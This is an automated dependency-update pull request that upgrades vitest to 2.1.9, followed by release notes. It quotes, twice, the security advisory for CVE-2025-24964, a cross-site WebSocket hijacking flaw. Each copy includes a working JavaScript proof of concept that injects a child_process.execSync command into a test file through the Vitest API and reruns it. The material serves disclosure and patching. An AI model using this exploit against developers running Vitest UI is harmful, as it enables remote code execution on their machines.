chore(deps): update dependency vitest to v2.1.9 [security]

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
vitest (source)	2.1.2 -> 2.1.9

GitHub Vulnerability Alerts

CVE-2025-24964

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC

1. Open Vitest UI.
2. Access a malicious web site with the script below.
3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.

// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})

Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.

---

Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening

CVE-2025-24964 / GHSA-9crc-q9x8-hgqq

More information

Details

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC

1. Open Vitest UI.
2. Access a malicious web site with the script below.
3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.

// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})

Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.

Severity

• CVSS Score: 9.6 / 10 (Critical)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

References

• https://github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq
• https://nvd.nist.gov/vuln/detail/CVE-2025-24964
• https://github.com/vitest-dev/vitest/commit/191ef9e34c867d0efd04f49b3d38193a68e825dc
• https://github.com/vitest-dev/vitest/commit/7ce9fbb4972d45c6fd34c843645ef6f549bbb241
• https://github.com/vitest-dev/vitest/commit/e0fe1d81e2d4bcddb1c6ca3c5c3970d8ba697383
• https://github.com/vitest-dev/vitest
• https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46
• https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76
• https://vitest.dev/config/#api

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

vitest-dev/vitest (vitest)

v2.1.9

Compare Source

This release includes security patches for:

• Browser mode serves arbitrary files | CVE-2025-24963
• Remote Code Execution when accessing a malicious website while Vitest API server is listening | CVE-2025-24964

   🐞 Bug Fixes

• backport #​7317 to v2 - by @​hi-ogawa in #​7318
• (backport #​7340 to v2) restrict served files from /__screenshot-error - by @​hi-ogawa in #​7343

    View changes on GitHub

v2.1.8

Compare Source

   🐞 Bug Fixes

• Support Node 21  -  by @​sheremet-va (92f7a)

    View changes on GitHub

v2.1.7

Compare Source

   🐞 Bug Fixes

• Revert support for Vite 6  -  by @​sheremet-va (fbe5c)
  • This introduced some breaking changes (#​6992). We will enable support for it later. In the meantime, you can still use pnpm.overrides or yarn resolutions to override the vite version in the vitest package - the APIs are compatible.

    View changes on GitHub

v2.1.6

Compare Source

🚀 Features

• Support Vite 6

    View changes on GitHub

v2.1.5

Compare Source

   🐞 Bug Fixes

• dangerouslyIgnoreUnhandledErrors without base reporter  -  by @​AriPerkkio in #​6808 (0bf0a)
• Capture unhandledRejection even when base reporter is not used  -  by @​AriPerkkio in #​6812 (8878b)
• Don't change the working directory when loading workspace projects  -  by @​sheremet-va in #​6811 (f0aea)
• Remove sequence.concurrent from the RuntimeConfig type  -  by @​sheremet-va in #​6880 (6af73)
• Stop the runner before restarting, restart on workspace config change  -  by @​sheremet-va in #​6859 (b01df)
• Don't rerun on Esc or Ctrl-C during watch filter  -  by @​hi-ogawa in #​6895 (98f76)
• Print ssrTransform error  -  by @​hi-ogawa in #​6885 (4c96c)
• Throw an error and a warning if .poll, .element, .rejects/.resolves, and locator.* weren't awaited  -  by @​sheremet-va in #​6877 (93b67)
• browser:
  • Don't process the default css styles  -  by @​sheremet-va in #​6861 (0d67f)
  • Support non US key input  -  by @​hi-ogawa in #​6873 (5969d)
  • Stop the browser rpc when the pool is closed  -  by @​sheremet-va in #​6858 (9a0c9)
  • Init browsers eagerly when tests are running  -  by @​sheremet-va in #​6876 (417bd)
• coverage:
  • Report uncovered files when re-run by enter or 'a'  -  by @​AriPerkkio in #​6848 (487c8)
• ui:
  • Remove crossorigin attributes for same origin assets  -  by @​hi-ogawa in #​6883 (6e793)
• vite-node:
  • Improve esm check to decide external  -  by @​hi-ogawa in #​6816 (7e1fa)
  • Top-level throw in module is not reported properly  -  by @​vanaigr and @​hi-ogawa in #​6840 (cf0cb)
• vitest:
  • Use fetch() implementation from happy-dom  -  by @​capricorn86 in #​6879 (3c56f)

   🏎 Performance

• Limit workspace project concurrency to available cores  -  by @​sheremet-va in #​6869 (f4c04)

    View changes on GitHub

v2.1.4

Compare Source

   🚀 Features

This patch release includes a non-breaking feature for the experimental Browser Mode that doesn't follow SemVer. If you want to avoid picking up releases like this, make sure to pin the Vitest version in your package.json. See npm's documentation about semver for more information.

• browser: Allow custom HTML path, respect plugins transformIndexHtml  -  by @​sheremet-va in #​6725 (16902)

   🐞 Bug Fixes

• windows:
  • Don't normalize drive case letter in root  -  by @​sheremet-va in #​6792 (b28cd)
• browser:
  • Fix default browser port  -  by @​hi-ogawa in #​6700 (9c518)
  • Optimize expect-type  -  by @​sheremet-va in #​6713 (07918)
  • Don't polyfill process.env  -  by @​sheremet-va in #​6718 (da6d2)
  • Increment browser port automatically if there are several projects with browser.enabled  -  by @​sheremet-va in #​6717 (a9397)
  • Cleanup keyboard state  -  by @​hi-ogawa in #​6731 (19278)
  • Don't add v= queries to setup files imports  -  by @​sheremet-va in #​6759 (b8258)
  • User event cleanup on retry  -  by @​hi-ogawa in #​6764 (bdd15)
  • Ignore non mocked msw requests  -  by @​sheremet-va in #​6770 (9d9ba)
  • Initiate MSW in the same frame as tests  -  by @​sheremet-va in #​6772 (2444f)
• deps:
  • Update dependency sirv to v3  -  in #​6701 (fde5d)
• expect:
  • Correct behavior of toThrowError with empty string parameter  -  by @​shulaoda in #​6710 (a6129)
• mocker:
  • Remove spy from peer dependencies  -  by @​sheremet-va in #​6777 (3a8b5)
• vitest:
  • Clarify slowTestThreshold, print slow tests in non-TTY mode  -  by @​sheremet-va in #​6715 (2e6aa)
  • Print warnings form Vite plugins  -  by @​sheremet-va in #​6724 (121b1)
  • Don't fail if the working directory starts with a lowercase drive letter  -  by @​sheremet-va in #​6779 (df6d7)
  • Silence import analysis warning  -  by @​hi-ogawa in #​6785 (39041)
• vitest,runner:
  • Simplify test.extend type exports  -  by @​hi-ogawa in #​6707 (e5c38)

   🏎 Performance

• Use hash to replace createHash  -  by @​btea in #​6703 (5d07b)

    View changes on GitHub

v2.1.3

Compare Source

   🐞 Bug Fixes

• Fix error diff of toBeNaN, toBeUndefined, toBeNull, toBeTruthy, toBeFalsy  -  by @​hi-ogawa in #​6697 (e0027)
• browser:
  • Provide aria role intellisense  -  by @​sheremet-va in #​6629 (f36ea)
  • Not.toBeInTheDocument works with locators API  -  by @​sheremet-va in #​6634 (8bef5)
  • Use /mockServiceWorker.js instead of /__vitest_msw__  -  by @​sheremet-va in #​6687 (4b2ce)
  • Don't override the esbuild option in the browser mode  -  by @​sheremet-va in #​6692 (d131f)
• expect:
  • Preserve prototype in toMatchObject diff  -  by @​hi-ogawa in #​6620 (d289e)
• mocker:
  • Specify correct spy dependency  -  by @​sheremet-va (7e958)
• runner:
  • Ensure sequential suite overrides sequence.concurrent  -  by @​dsyddall and @​hi-ogawa in #​6653 (5e6de)
• vitest:
  • Deprecate UserConfig in favor of ViteUserConfig  -  by @​sheremet-va in #​6626 (496bd)
  • Don't hang with maxConcurrency 0  -  by @​sheremet-va in #​6627 (946d8)
  • Deprecate old task types and node-reliant types  -  by @​sheremet-va in #​6632 (00045)
  • Fix <empty line> logs when interleaving console.log/error  -  by @​hi-ogawa in #​6644 (9ece3)
  • Show rollup error details as test error  -  by @​hi-ogawa in #​6686 (47dde)
  • Always inline setup files  -  by @​sheremet-va in #​6689 (19d64)
  • Use fast-glob instead of tinyglobby in Vitest  -  by @​sheremet-va in #​6688 (70baa)
• web-worker:
  • Share mocker with main executor  -  by @​hi-ogawa in #​6623 (fe7b8)

   🏎 Performance

• Reuse full name in reported tasks, update generator types  -  by @​sheremet-va in #​6666 (7a0de)

    View changes on GitHub

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